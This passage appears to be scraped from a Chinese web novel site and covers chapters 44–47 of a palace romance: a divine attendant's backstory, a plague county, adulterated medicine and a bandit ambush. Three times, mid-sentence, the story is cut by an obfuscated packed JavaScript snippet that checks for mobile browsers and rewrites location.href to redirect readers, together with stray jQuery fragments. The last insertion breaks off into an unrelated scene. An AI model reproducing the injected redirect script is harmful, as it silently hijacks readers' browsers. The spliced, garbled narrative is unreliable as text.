“多谢大人,请问还有什么事需要臣效劳吗?”柳忆安觉得自己上香的时间比前面两人久了许多。 “已经可以了,柳大人切记,今日发生的一切,尤其是谶言,切勿告诉她人。还有,你把这个拿着。” 慕青将一个白玉哨子放到柳忆安手中,“你将它戴在身上,只要吹响此哨,就会有信鹘替你传信给我。” “神侍大人这是何意?”面对慕青突然的示好,柳忆安不敢收下。 “你即将赶赴疫区,若有消息传不出来,便用此物。” 原是为了国事,既如此,柳忆安也不再推脱。 “多谢神侍大人。” “不客气,记得千万保护好自己。” *** 柳忆安走后,殿内的香烟缓缓升腾,缭绕在慕青周身。他静静地坐在原地,久久不能回神。 终于……再次见到她了。 从秋川白变成慕青,历经了千辛万苦,他终于再次站在她身侧,再次唤出了那句“柳姑娘。” 为了成为神侍,不再嫁人,他改名换姓,在他说出自己要改名为“慕青”后,一旁的母亲不屑地笑了出来,眼里尽是讽刺。 “‘慕青’?你以为你那点小心思能藏得住吗?人家都不要你了,还在那思慕别人呢。早知如此,将你嫁入柳府的时候又何必闹这么一出,如今这般都是你的报应。” 他一意孤行地以“慕青”的身份报名,成功入选后,顾允找了上来。 “你们秋家,若是愿意投奔我背后的人,我可以帮你当上神侍。” 秋思雨毫不犹豫地答应了。商人逐利,利益至上,只要能得到好处,家族的未来如何,与秋川白本人如何,都无足轻重。 于是,在顾允的“运作”下,秋川白顺利进入了最后一轮选拔。他原以为,自己握住了一条捷径,直到走到这一步,他才发现——顾允的承诺,不过是一场虚妄的谎言。 最终的试炼,从来不是由任何人决定,而是由死亡筛选。 国师从全国选出八十位男子,最终能留下来的,只有一人。而这场试炼,便是让所有参选者泡入一种特制的药水中,整整七日,不能离池半步,不能进食,不能昏迷,否则便意味着被淘汰,或者死亡。 既为“神侍”,便不能长成凡人模样。而那药水,便是从凡人变为神侍的代价。 那池药水,如同将人推入炼狱。刚入水时,只觉浑身发痒,仿佛千万只蚂蚁在皮肤上啃噬撕咬。一天后,瘙痒转化为炽烈的灼烧,从肌肤到五脏六腑,火焰在体内翻腾,煎熬着每一寸血肉。第三天,灼烧感又变成了割裂般的剧痛,仿佛身上裂开了无数道口子,只要稍微动弹一下,皮肉便会撕裂,鲜血与药水交融,疼痛直入骨髓。而这七天,他们甚至连水都只能被人强行灌下,否则连喝水的力气都会消耗殆尽。 第一天,近半数人因痛苦难耐,用指甲将自己的皮肤活生生挠破。药水渗入伤口,疼痛瞬间席卷全身,皮肉以肉眼可见的速度溃烂,直至化为血水。 第二天,剩下的那一半人中,有人开始呕血,七窍渗出黑红的液体,药水的毒性侵蚀了他们的脏腑。目睹此景,不少人果断放弃,相比权势,还是性命更为重要。 第三天,池水中只剩下十人。那一夜,四人因承受不住痛苦,挣扎着爬出了池水,他们的身体被药水浸蚀得不成样子,皮肤已经剥落大半,露出鲜红的血肉。 第四天,余下六人已是极限,他们靠在池壁上,神思恍惚,皮肤被剥离,骨骼如遭碾碎。 第五天,第六天,痛觉被麻木取代,四人因极度虚弱昏死过去,终究没能撑到最后。 到了第七天,池水已被染得深红,秋川白与另一人勉力支撑着残存的生命,被人从水中拖拽出来。待走出池水,他才发现,陪着他撑过最后一日的那人,早已在不知何时咽下最后一口气,而自己……是这八十人中唯一的活者。 从此,秋川白死了,裕朝神侍——慕青,诞生了。 如今的他,皮肤雪白,长发银白,双目因药水浸泡变成了浅金色,光是被阳光照射,便会如刀割般疼痛。他的一切都变了,甚至连名字,都不再属于秋家。 他用尽一切,只为了留在这座宫城里,同她再见一面。 如今,她终于再次出现在他面前。 可惜,她不再是他的妻,而他,也只能以“神侍”的身份,与她站在对立的立场,眼睁睁地看着她朝着别人的方向走去。 慕青低头,缓缓抬起手,捂住自己的心口。 原来,剥去皮肉的痛,远不及思念蚀心的煎熬。 44. 前往疫区 宫门外,萧韵面无表情地坐上马车,下人察觉到她情绪不好,都识相地没有说话。 能留在萧韵身边的下人,都是人精中的人精。那些看不懂眼色的,运气好的被发卖,运气不好的,已经变成了荒地中的一抔土。 很快,马车里传来杯盏被打碎的声音,伴随着萧韵的咒骂声。 “那个贱-人,以为自己算老几,竟敢爬到我头上。” 一想起方才在问天阁同秋川白的对峙,萧韵就恨得牙痒痒。 “你为何擅自把柳忆安的名字写到一甲的榜单上?你算什么东西,竟敢忤逆主上。” 一见到秋川白,或者说如今的慕青,萧韵内心的愤怒就忍不住翻涌起来。 她筹谋隐忍多年,终于有一日能赢过柳忆安,却还是赢得如此不痛快。 她付出了那么多才赢得了主上的信任,得来了状元的位置,可柳忆安什么都没做,就有人为她谋到了探花的位置。 凭什么? 面对萧韵的愤怒,慕青的嘴角露出一丝不屑的微笑。 “你已经如愿当了状元,还有什么不满意的?至于柳忆安是谁,取得什么名次,主上根本不在乎,那不过是你个人的私心罢了。” “也许之前主上并不在乎,但她现在已经搭上了陆映昭,说不定已经是太女的人了,你觉得主上还能不在意吗?”萧韵不敢闹出太大的动静,只能一字一句地小声放狠话,“你不会真以为神侍是什么了不起的角色吧?真把自己当成神的传话人了?你不过是国师用来骗人的工具罢了,我劝你最好摆清自己的位置。” “如果不是你们选的人太没用,也轮不到我来做这个神侍。”萧韵的威胁并未让慕青害怕,他闲适地摆弄着桌上的香炉,一眼都没看向萧韵,“让我算算,加上我,你们一共送了二十个人来选神侍,可是最后只有我一个人活下来了。” “怪就怪你送来的人不争气,连工具都做不成。可顾允却凭着我邀了功,拿走了本该给你的生意。” 萧韵沉默了半晌,随后想到了什么,发出一声嗤笑。 “就算你今日帮了她,你又能得到什么呢?你不会还幻想和她破镜重圆吧?” 闻言,慕青拿着香的手顿了一下,香灰掉落到他手上。 萧韵知道自己戳中了他的心事,便继续刺激他:“你如今可是‘雪肤花貌,发似皎月’的神侍,是献身给神的人。你最好还是和她保持距离,否则,若是传出她和神侍牵扯不清的消息,也不知道她还能不能留下性命。” 慕青皱了皱眉,“你什么意思?想同我鱼死网破?” “神侍大人,我哪敢啊,”萧韵拍了拍对方的肩,“不过是帮神侍大人想清楚罢了,再说,你为她的前程费再大的劲儿,也不过是便宜了自己的表弟,何苦呢?” “是吗?那可多谢你了。萧状元自己家那点事都没管好,竟还有心关心我,真是让在下受宠若惊。”慕青双手合十,对着神像拜了拜,冷冷地开口道,“萧状元为了自己和家族的前程,亲手把自己的夫郎送到了那么多人的床上,如此心系大局,难怪能得到主上的青睐。” 又是一阵沉默。 两人的话如刺刀般,挑明了彼此的心事,明明心里已经把对方千刀万剐,但碍于楼下还有外人在,不敢闹出什么动静,只能忍住心里的情绪。 最后,慕青掏出一张纸条扔给萧韵。 “这是主上给你的任务。主上说,你要的状元之位,她已经想办法给你了,现在到你报答她的时候了。” 萧韵打开纸条,果然,得到多大的好处,就有多难办的任务。 “告诉主上,我不会让她失望。” 离开前,她将纸条烧了个干净,烧出的烟熏红了她的眼睛,但眼泪最终没有流出来。 *** 见过神侍,柳忆安回到了陆府,准备同陆映昭还有方轻尘道别。 按照皇上的旨意,她明日便要出发前往竹安县,离开前,她想拜托陆映昭在她不在的日子里照看下方轻尘。 这一趟生死难料,一个不慎便可能交代在疫区,她必须安排好自己的身后事。 “陆将军,这段时间多谢你的收留,之后还得麻烦你再收留轻尘一段时间。若我出了什么事,麻烦你找人将他送回云州城。” “没问题,诶忆安你这是干嘛,快请起快请起。”眼见柳忆安准备跪下行礼,陆映昭一个箭步冲了上来,将她扶住,“我将你看作亲姐妹,你若同我这般客气,可就真伤了我的心。” 接着,她紧紧抱住了柳忆安。 “你放心,我一定照顾好你的家人,你该做什么做什么,自己一定要保重。” “我要和你一起去。” 方轻尘的声音从门外传来,语调平静,但所有人都能听出他话里的坚定。 “你不必和我去蹚这趟浑水。” 柳忆安一愣,旋即皱眉道:“你不必和我去蹚这趟浑水。” 柳忆安的语气里带着一丝不易察觉的焦急,她不愿让他陪自己去赌一场生死未卜的局。 “我跟着你去,你回来的可能才更大。” “你帮不了我的。”柳忆安下意识地反驳,目光落在他的手上,那双握笔执书的手,如今虽多了些茧,却依旧比不上一个真正的医者。她微微抿唇,又补充道:“你才跟着明大夫学了多久?皇上派了太医随行,若连他们都束手无策,你又能如何?” 陆映昭见这二人有对峙的苗头,识相地离开了。 “除了医术,还有人心。在疫区,人的恐惧往往比瘟疫本身更致命。” 方轻尘看向柳忆安的眼神里充满担忧,她自小在书院苦读,未曾见识过人在绝望中为达目的不择手段的丑恶模样。 但他见识过,因此他也深知,前往疫区的安抚使,决不能是柳忆安这种单纯善良之人,他决不能让柳忆安一个人去冒险。 真到了什么迫不得已的时刻,柳忆安不愿做的事,他会替她完成。 “所以,带上我。” 柳忆安看着方轻尘恳求的眼神,在轻叹了一声后,嘴角扬起了一抹浅浅的笑意,走上前抱住了他。 方轻尘被这个拥抱惊到,浑身僵硬地怔在原地。 只听柳忆安柔声地说道:“我知道你在担心什么,我答应你,不管发生什么都会把自己的性命放在第一位。况且,如果真出了什么事,我也需要一个人在外面接应。除了你以外,我不知道还有谁能帮我。” “可是……” “没有什么可是,轻尘,你就在这里等我。我们之间还差一个正式的仪式,等我回来就补上,好不好?” 柳忆安不给方轻尘反应的时间,踮起脚尖,在他的嘴角落下一个很轻很轻的吻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083575|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “轻尘,我心悦你,你愿意等我回来吗?” 方轻尘怔怔地站在原地,柳忆安的话让他瞬间失去了所有思考的能力。 她心悦自己? 这几个字撞击着他的心脏,让他的呼吸都变得慌乱无比。 他的嘴角还残留着柳忆安嘴唇的温度,如清晨的水露般微凉缥缈,可落在心头,却比烈火还要灼热。 他猛然回神,眼前的柳忆安正静静地看着他,眼里含着笑意,带着一丝狡黠,却又透着一丝郑重。 她不是随口一说,她是认真的。 方轻尘几乎能听到自己心跳的声音,怦怦作响,仿佛要从胸腔中跃出一般。 “忆安……”他张了张口,想说点什么,嗓子却干涩得发不出声。 柳忆安轻轻眨了眨眼睛,忽然笑道:“怎么,你不愿意吗?” “我愿意……” “那就说好了,”柳忆安牵住方轻尘的手,同他十指相扣,“轻尘,你在这里等我回来。” 方轻尘用力回握住她的手,像是永远不会放开一般,“我会等你。你答应我了,那一定要说到做到,平安回来。” 他顿了顿,像是终于下定决心,声音微微发颤,却掷地有声地说道:“然后,娶我。” 说完,他俯下头,轻吻在柳忆安的额头,像是落下了一个郑重的承诺。 随后,他微微低下头,鼻尖轻蹭过柳忆安的鼻梁,缓缓下移,气息交错,唇畔相贴。 唇瓣触碰的瞬间,方轻尘闭上了双眼。这一吻,用尽了他所有的勇气。 良久,两人才缓缓分开。 柳忆安看着方轻尘略带潮红的脸,忍不住伸出手贴了上去。 “你也要保重。” *** 柳忆安同方轻尘收拾了一夜的行囊,还没来得及休息,宫里派来的车已经在门口等着了。 方轻尘恨不得将所有可能用到的东西都柳忆安装上,奈何行囊实在装不下,东挑西拣了许久才扔出了一些。 “这些药材还要拿上吗?就只有一点,恐怕没什么用吧。”柳忆安看着方轻尘将一些药方和药材放进包里,觉得他有点夸张了。 “万一你路上身体不适呢?就算身边有医师,也得有药才能治病。山高水远的,拿着备用吧。” 说到底也是方轻尘的一片心意,柳忆安虽然有些不理解,但还是接受了。 “还有,水一定要烧开再喝,千万不能饮下生水。” 方轻尘不停地叮嘱着,生怕有哪一点没交代清楚。他一边往柳忆安的包里塞东西,一边细细罗列各种可能出现的情况,甚至连万一下雨路滑如何应对都想到了。 柳忆安也不打断他,只是含笑听着他的唠叨,享受着最后相处的时光,直到不得不同他道别。 “我要走了,你记得照顾好自己。若有什么事情,一定要听陆将军的吩咐。” “你放心吧,我等你回来。”方轻尘忍住声音里的哭意,闷闷地回道。 外头,宫里的车夫已经催了两遍,柳忆安深吸一口气,转身跨出门槛,走了几步,又回头望了一眼。 她最后冲着方轻尘挥了挥手,然后毅然转身,踏上了前往竹安县的马车。 方轻尘站在原地目送马车离开,直到马车消失在长街尽头,他也没有离开。 “一定要平安回来。” 45. 药有问题 自竹安县暴发疫病,已经过去了整整一个半月。 封锁的城门外,官兵全副武装,手持长枪,目光警惕地审视着每一个接近城门的人。远远望去,竹安县仿佛一座死城,空气中弥漫着药味与臭味混杂的气息,连鸟雀也不愿在此停留。 “几位大人,我们到了。”马车停到了城门口,赶车的侍卫跳下车,为柳忆安一行人拉开帘子。 见有人来了,驻守的官兵警觉地围了上来,为首的人扫视了她们一眼,沉声问道:“可有通行文书?” 柳忆安取出皇帝的诏令,为首那人检查过后,面色稍有缓和,语气中也多了几分敬意:“原是安抚使大人,小的名叫韩瑛,县丞已在衙门等候多日,请随小的来。” 言罢,她命人打开城门,领着几人进入城内。 “这几日,病死的人越来越多了,县丞大人下了命令,不允许任何人进出。按照大人的意思,就算全县的人病死在城里,也不能让疫病传出去。” 柳忆安与两位太医面面相觑,心里无比沉重。只有在最绝望的情况下,县丞才会下此决断,将整个竹安县变成一座孤岛,以牺牲所有人的性命来换取疫病不外泄的最后一丝希望。 “这么说来?这里已经被彻底封锁了?” 韩瑛点了点头,声音里透着几分无奈:“是,任何人不得擅自进出,违者格杀勿论。” 柳忆安心底泛起一丝寒意。她的目光掠过寂静的街道,许多房屋大门紧闭,窗户被厚布封死。街角偶尔有人影闪过,脸上都裹着厚厚的布巾,眼神警惕又惶恐,似乎任何一个靠近的人都可能带来死亡。 街上的氛围令柳忆安不寒而栗,她忍不住催促韩瑛:“快些走吧,先去县衙。” 韩瑛点头,带着一行人加快步伐,穿过几条狭窄的巷道,终于抵达县衙。 *** 竹安县衙大堂内,县丞江廷正坐在主座上,面色憔悴。她此时没有身着官袍,反而身着一袭白色麻衣,额上缠着一条白色布巾,显然是近期有人去世,正在守孝。 见柳忆安一行人踏入,她立刻起身迎接,拱手行礼:“下官江廷,见过安抚使大人。” “江大人。”柳忆安微微颔首,目光落在她消瘦的脸庞上,“现在竹安县情况究竟如何了?路上我听闻,竹安县最初病情曾稍有好转,后来却不知为何加重了?” 江廷眼底闪过一抹深深的疲惫,她深深地叹了口气道:“实不相瞒,最初疫病确有缓和之势,许多病人服药后症状减轻,甚至有的已经康复。但就在半月前,情况突然恶化,病人们的病情迅速复发,而且比先前更加凶猛。” “为何会出现这种情况?” “下官本以为是有人未彻底康复便劳作过度,导致病情反复。”江廷的手指轻敲桌面,眉头紧皱,“但医官检查后发现,病人们的症状与之前并无不同,病因也未改变,可之前的药却突然失了效。不管是复发的病人,还是刚染上的病人,怎么用药都没有效果。” “能否劳烦江大人带我们同这里的医官见一面?让这几位太医看看药方。” “当然当然,大人请随我来。”江廷起身,亲自带着她们前往医馆,“出发前,还请各位大人围上用药熏过的头巾。” *** 竹安县医馆外,药草的气味夹杂着消毒过的石灰粉味道,充斥着整个院落。 推开医馆的大门,十几张病榻一个紧挨着一个,每张病榻上都躺着面色惨白、形销骨立的病人。有的人已经神志不清,不断地在病榻上挣扎,口中喃喃呓语,仿佛承受着剧烈的痛苦。 几个医者穿着粗布长袍,脸上围着布巾,袖口上染着斑驳的药渍,穿梭于病榻之间。 靠近窗边的药炉正冒着热气,一个年轻的学徒正在用木勺搅拌着滚烫的药汁,她的动作略显僵硬,似乎已经忙得筋疲力尽。另一名学徒则正在分药,手指因长时间接触药草而被染成了暗黄色,但仍旧咬牙坚持,熟练地包好一剂剂汤药,递给焦急等待的病人家属。 病人的呻吟声、医者低声的安抚声,以及药炉里汤药翻滚的咕嘟声交织在一起,令在场的所有人产生一种窒息感。 江廷领着柳忆安一行人踏入医馆,早已在忙碌的医者们纷纷停下手中的动作,抬头望向她们。一名年逾五旬、须发皆白的医者迎上前,拱手行礼道:“不知诸位贵人为何来此?” 江廷向众人介绍道:“这位是安抚使柳大人,乃陛下亲派前来治理疫病的官员,身边这两位皆是御医。” 老医者眼里闪过一丝希望,连忙拱手施礼:“原来是朝廷派来的大人,在下吴衡,见过各位。” “还请吴老让我们看看病人和药方。”一位太医主动上前行礼,“我们需尽快查明病情变化的原因,看看是否有解。” “几位大人请随老夫来。”吴衡立即带着柳忆安等人穿过病榻,走到医馆内侧的药房。 和院子里不同,屋内的病人已经没有床榻可用,只能一个挨着一个地躺在青砖上。 “让各位大人见笑了,病人实在是太多了。”吴衡停在一个闭眼休息的小女孩旁边,为大家介绍,“这个孩子刚染上疫病,症状就是突发高热。” 接着,她又往前几步,指着另一个病人介绍说:“这个病人已经开始出现呕吐的症状。而那一位——” 她指了指窝在墙角的一个人,此人虽闭着眼,但蜷缩在角落里,浑身不断颤抖,嘴角也不停抽动。 “已经出现了癔症,口中难以下咽任何东西,是最严重的情况。” 几位太医开始观察这些病人的症状,而柳忆安则走到了墙角,仔细观察那个蜷缩在墙角的病人。她的脸色苍白如纸,眼圈乌黑,额头上布满细密的冷汗,双手紧紧抱着自己。 “她多久没进食了?”柳忆安问道。 吴衡叹息道:“三日有余。她本是病情稍轻的一批人之一,可半月前,她病情急转直下,至今滴水未进,连灌入的药汤也尽数呕出。” 半月前? 这个时间点反复出现在柳忆安耳边,引起了她的警觉。 “半月前?所有人的情况都是从那时开始恶化的吗?” 吴衡神色凝重地点了点头:“确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092950|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此。原本病情稍有好转的病人,在半月前开始出现不同程度的反复,甚至比最初染病时更加严重。最开始,我们以为是病情本就复杂,患者尚未彻底恢复,后来才发现,连新染病的人也开始毫无征兆地恶化。” “有记录下当时用的药方和药材吗?是否有什么变动?” 吴衡看向身旁的学徒,学徒立刻点头,快步跑到药房,从一个柜子里翻找出一本册子,双手递给吴衡。 “柳大人,这本册子记录了所有的药方。您看,一开始病情有所缓和,我们便没有调整方子。病患的情况恶化后我们调整了些许,可无力回天。” 柳忆安接过册子,上面的记录确实如吴衡所说。 突然,柳忆安想起客栈里有人将商陆替换了人参一事,她灵光一闪,莫不是还有人对药材下手了? 可这里的医官都是经验丰富的老者,若药材真有问题,没有看不出的道理。 “请问药材都由何人供应?有这段时间的药渣吗?” “竹安县的药材少部分是我们自己采的,大部分是从药商手里收来的,都是几十年的熟人了,未曾变过。”吴衡一边说着,一边让学徒去取药渣。片刻后,学徒捧着几包药渣走来,依次摆放在桌案上。 柳忆安唤来几位太医,让她们仔细瞧瞧药渣。 太医们围在桌案前,仔细翻看着药渣,并让人将医馆里剩余的药材一并拿来比对。 其中一位年纪较长的太医捻起一撮药渣,细细揉搓,眉头越皱越紧。她又拿起药材的原料,仔细端详了一阵,终于沉声开口道:“这个赤阴藤,味道不太对。” 一旁较为年轻的太医闻言,拿起赤藤仔细嗅了嗅,“师傅说得对,确实有问题。” 随后,她向众人解释道:“赤阴藤这味药,有阴阳两种药性,我们一般只用其中属阳的药性。所以采摘后,需在酒里浸泡满七日,再经晾晒后磨成粉,以去除其中属阴的药性。可这里的赤藤,虽有酒味,但味道不够浓烈,想来是浸泡的时间不足。” 吴衡听完,脸色一变,伸手拿起一片赤阴藤的药渣仔细察看,随即沉声道:“的确如此!若浸泡时间不足,赤阴藤的阴性药性未能完全去除,不仅无法驱散病邪,反而会令病人寒气滞留,导致体虚无力,病情反复,甚至更加严重!” 江县丞的脸上呈现出怒意,她攥紧了手中的衣袖,沉声道:“也就是说,这批药材不仅无效,反倒成了压垮病人的催命符?” “没错。”一旁的太医沉重地点头,“而且赤阴藤是方剂中的君药,决定着整副药方的主导药性。若君药本身出了问题,整副药效都会失衡,哪怕再多的臣药调和,也无济于事。” 柳忆安目光一沉,努力压抑着心头翻涌的怒火,她缓缓吐出一口气,沉声道:“江大人,我先速速将此事上报朝廷,请求协调一批新的药材送过。” 接着,她顿了顿,目光掠过桌上的药渣,语气愈加冰冷起来:“除此之外,还得劳烦您尽快查清这批药材的来历,看看究竟是谁胆大包天,竟敢在救命药材上动手脚,害得竹安县无数百姓枉死。” 46. 师从何人 柳忆安立于书案前,手中的笔迅速划过纸面,将竹安县目前的情况一一呈报给朝廷。墨色未干,她已顾不得等候,自袖中抽出早已备好的火漆,封好信件,交予侍卫。 “立即出发,将此信交至京城,不得有误。” 侍卫抱拳领命,转身消失在夜色之中。 柳忆安合上双眸,抬手揉了揉眉心,心头沉重不已。 “江大人,周边几县情况如何?可否有多余的赤阴藤支援我们?”她转头看向一旁的江县丞。 江廷哀叹道:“属下已经派人送信,请求邻县施以援手,哪怕只能匀出一部分药材也好。但……” 她摇了摇头,神色透着几分疲惫,“周边几个县衙皆回信推脱,说药材本就紧张,难以相助。甚至有的,连回信都未曾给一个。” 柳忆安心中一沉,她不是不明白地方官员的心思——面对着疫病的威胁,大家都想留够救命的药材,尤其是附近的县城,离竹安越近,百姓越紧张。 可竹安县的百姓,已经等不起了。 “不然先试试高价收,挺过这一阵再说。”江廷提议道。 “不太可行,出价越高,周边县就越会觉得情况严峻,更不愿出手。” 柳忆安感到头疼,安抚使一职,说到底不过是个七品小官,大家表面上客气,但一旦涉及切身利益,没人把这个官职放在眼里。所以,她虽奉了圣旨来此,可手上并无调度各地资源的权力。 “我再想想别的法子吧。” 柳忆安决定给陆映昭写信求助,朝廷送来的药材数量庞大,路上走得慢。如果让陆映昭派一小队人马,从京城附近收购药材,或许可以解当下的燃眉之急。 忽然,外头传来一阵急促的脚步声,一名衙役气喘吁吁地跑了进来,拱手禀报:“大人,外头的百姓闹起来了!” 江廷脸色一变,立刻起身往外走,柳忆安紧随其后。 医馆外,病人和家属因迟迟等不到药材,情绪濒临崩溃。 “说好的药呢?我们已经等了这么久了!” “不是说朝廷拨了药材吗?是不是被你们这些狗官克扣了?” “娘亲已经快不行了!再拖下去,她就活不了了!” 几个衙役与士兵拦住了想要硬闯进药馆的人,可人越闹越多,场面逐渐失去控制。 柳忆安走上前,“大家稍安勿躁,别吵到休息的病人。药已经在路上了,只需再等等,而且我们也都在想办法——” “我们不怕被吵!我们要一个说法!我们要活下去的机会!”一个中年男子愤怒地吼道,他脸色苍白,嘴唇干裂,显然已经病入膏肓,“让我们等什么?等死吗?!你们这些官府的人,哪里知道我们老百姓的死活!” 说着,他猛地往前冲,衙役想要拦住他,可暴怒之下,他孱弱的病体在瞬间竟爆发出难以想象的力量。他奋力挣脱了束缚,伸手就要去扯住柳忆安的衣袖。 柳忆安下意识地后退一步,可对方的手仍然擦过她的肩头,一把扯下了她围着的头巾—— 霎时,在场的所有人都呆住了,一时间寂静无声。 那名闹事的男子倒吸一口凉气,忍不住后退了一步,惊恐地望着她。 他情急之下扯掉了安抚使大人的头巾,若是害得她染病,就算病治好了自己也难逃死罪。 除了当事人陷入了恐惧,那些原本愤怒的病人,也怔怔地看着柳忆安,眼神里透着恐惧和愧疚。 江廷脸色大变,急忙走上前,“柳大人,您——” “我没事。” 柳忆安从惊恐中缓过神来,她赶紧拦住一旁准备动手的衙役,趁着无人发声的时刻安抚在场所有人。 “如今我被人揭了头巾,没了保护,我很快也会染上病症,就和大家一样了。但我相信药材很快就能送到竹安县,所以我不怕,也请大家平静下来,大家身体还没康复,只有好好休息才能更快康复。” 原本闹事的病人彼此交换着眼神,纷纷低下头,不好意思地往后退去。 柳忆安不退反进,迈步走到人群中,一字一句地说道:“越是关键的时候,我们越不能乱,如果我们自己乱了,病死的,只会更多。” “至于你,”柳忆安走到中年男子面前,“我理解你的情绪,这次就不追究了,先下去好好休息吧。” 男子怔怔地看着她,眼底除了几分愧色,更多的是如释重负。他嘴唇嗫嚅了几下,没人能听见他到底说了什么,之后便悄悄地退到了墙边。 江廷见状,立刻趁势道:“所有人听着!官府正在全力追回药材,但在此之前,我们会尽全力收集能用的药材,替大家先缓解病情。所有人,安静地听医官安排,不要再闹事!” 人群的情绪终于慢慢平复下来。 “江大人,这段时间我也住在医馆吧。”柳忆安深知,头巾被摘,自己难逃被传染的命运,“若我再传染给别人就不好了。” “柳大人,此事都怪我…” 柳忆安挥挥手,打断了试图道歉的江廷。 “此事过去了,我们不再说了。” *** 入夜,柳忆安安静地躺在医馆院子的角落,想起临走前方轻尘的叮嘱。 “在疫区,人的恐惧往往比瘟疫本身更致命。” 切身体会了,才知道这句话的重量。 接着,她又想起来方轻尘当时的眼神,仿佛他也亲身经历过类似的事情,也不知道他过去经历了些什么。等自己康复了,有空一定要好好问问他。 睡了还不到两个时辰,就有人摇醒了自己。柳忆安揉揉眼,江廷不知何时来了医馆。 “柳大人,出事了,朝廷送来的药半路被劫走了。”江廷在柳忆安身侧小声耳语道。 “什么?”柳忆安连忙坐起身,“我们出去说。” 两人蹑手蹑脚地走出医馆,见其她病人还在深睡,才敢出声讨论。 江廷压低声音,神情凝重:“药材运送至竹安县西北方的山道时,被一群山匪拦截。她们从山上扔下乱石,打乱了队伍,劫持了所有的药材后就迅速撤回山里了。” “大家现在都知道我们急需赤阴藤,是不是想趁机勒索我们一笔?”柳忆安猜测,“我们去同她们讨论下” 江廷摇了摇头,“这伙山匪根本不打算把药材卖给我们,她们看不上我们给的区区几百两银子。她们想等疫病蔓延,让药价水涨船高后再高价卖出。” “这伙贼人…” 她本以为对方是趁火打劫,勒索一笔后此事便了结。可如今看来,这些山匪早已打定主意,要利用疫病大发横财。 这几日昼夜不分地忙,再加上一时气急攻心,柳忆安眼前一阵天旋地转, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见状,陆映昭剑势一变,改刺为劈,剑刃寒光闪烁,裹挟着凌厉的风声直逼方轻尘肩头。 就在剑锋即将触及的一瞬间,方轻尘忽然微微抬手,剑尖轻轻一挑,精准地架住了陆映昭的剑,接着手腕一翻,借力将她的攻势引向一旁,整个过程行云流水。 几个回合过后,陆映昭收回剑,看向方轻尘的眼神里多了几分复杂的意味。 “你练过武?” 方轻尘轻轻点了点头,没作出任何解释。 陆映昭也没有追问,她将手中长剑收回剑鞘,“既然如此,我便不再拦你,你自己多加小心。” 说罢,她对着下属吩咐了下去:“去准备一批上等药材,再找几个机灵的随从,让方公子带上。既然要装作药商,便要装得像些。” “是。”下属拿回自己的佩剑,转身消失在夜色中。 等下属全部离开,陆映昭看向方轻尘,问出了心底的疑问。 方轻尘的剑法她曾见识过,只不过那人早就不在人世了,也未曾听闻她有什么徒弟。陆映昭从未想过一个身份卑微的男子会使出她的剑法。 “方公子剑术高超,可否告知师从何人?” 47. 被擒 竹安县西北方六十公里,青狼山,山路蜿蜒,崎岖难行。 晨雾未散,林间尚存一丝湿意,一支马车队伍沿着山道缓缓前行,车轮碾过碎石,发出沉闷的咯吱声。 方轻尘端坐在一辆马车上,衣着朴素,头戴帷帽,看上去像是寻常商铺的少夫。他的目光穿过帷帽的薄纱,默不作声地观察着四周的动静,心里默数着同山寨的距离。 “轰——” 突然间,陡峭的山壁上忽然传来剧烈的震动,紧接着,数块巨大滚石自高处轰然砸下,直直地砸向商队前方的马车。 “救命啊!” 几匹马受惊,嘶鸣着向后退去,驾车的马夫惊呼道:“是山匪!快跑!”,接着便扔下缰绳,连滚带爬地跳下马车,仓皇逃走。 剩下的随从也跟着四散而逃,没人留意被“吓”得在原地一动不动的俊秀公子。 方轻尘“惊恐”地睁大了眼,仿佛真的被吓住一般。他双手不断颤抖着,试图拦住那些“惊慌逃跑”的下人,却被狠狠地推开。 “公子,您自己逃吧!我们不想死在这儿!” “你们等等,别丢下我一个人……”方轻尘语气颤抖,脸色苍白,显得十分无力“这些药材是要送给妻主的,不能丢啊……” 然而,没有一个人听他的话,很快,这些随从跑得一干二净,只留下马车横倒在山道之上,箱子翻落,药材散了一地,空气中弥漫着淡淡的药香。 就在此时,随着一道低沉的口哨声在林间响起,数十名黑衣山匪从林间跃出,手持弯刀,凶神恶煞地包围了马车。 为首的一名女子比其她人多穿了一件虎皮背心,显得膀大腰圆。她站定脚步,视线在马车上扫了一圈,嘴角扬起一抹得意的笑。 “哟,今儿个运气不错,竟然逮到了一队肥羊。”她漫不经心地踢翻了一只药箱,看见从里面掉出的东西后,眼神微微一亮,“赤阴藤……如今这可是好东西。” 她一声令下,其余的山匪一哄而上,开始哄抢散落的药箱,欢呼声此起彼伏。 方轻尘伸开双手,护在最大的药箱前。 “你们让开!” 他颤抖的声音在山匪听来不过是助兴的声响罢了,不仅没有拦住这群人,反而惹得大家笑出声。 “哈哈哈,哪里来的小野猫,竟敢拦老子,”为首的山匪走到方轻尘面前,紧紧捏住他的下巴,用充满玩味的眼神打量着他,“模样倒是生得不赖,留你一命给姐妹们助助兴。” 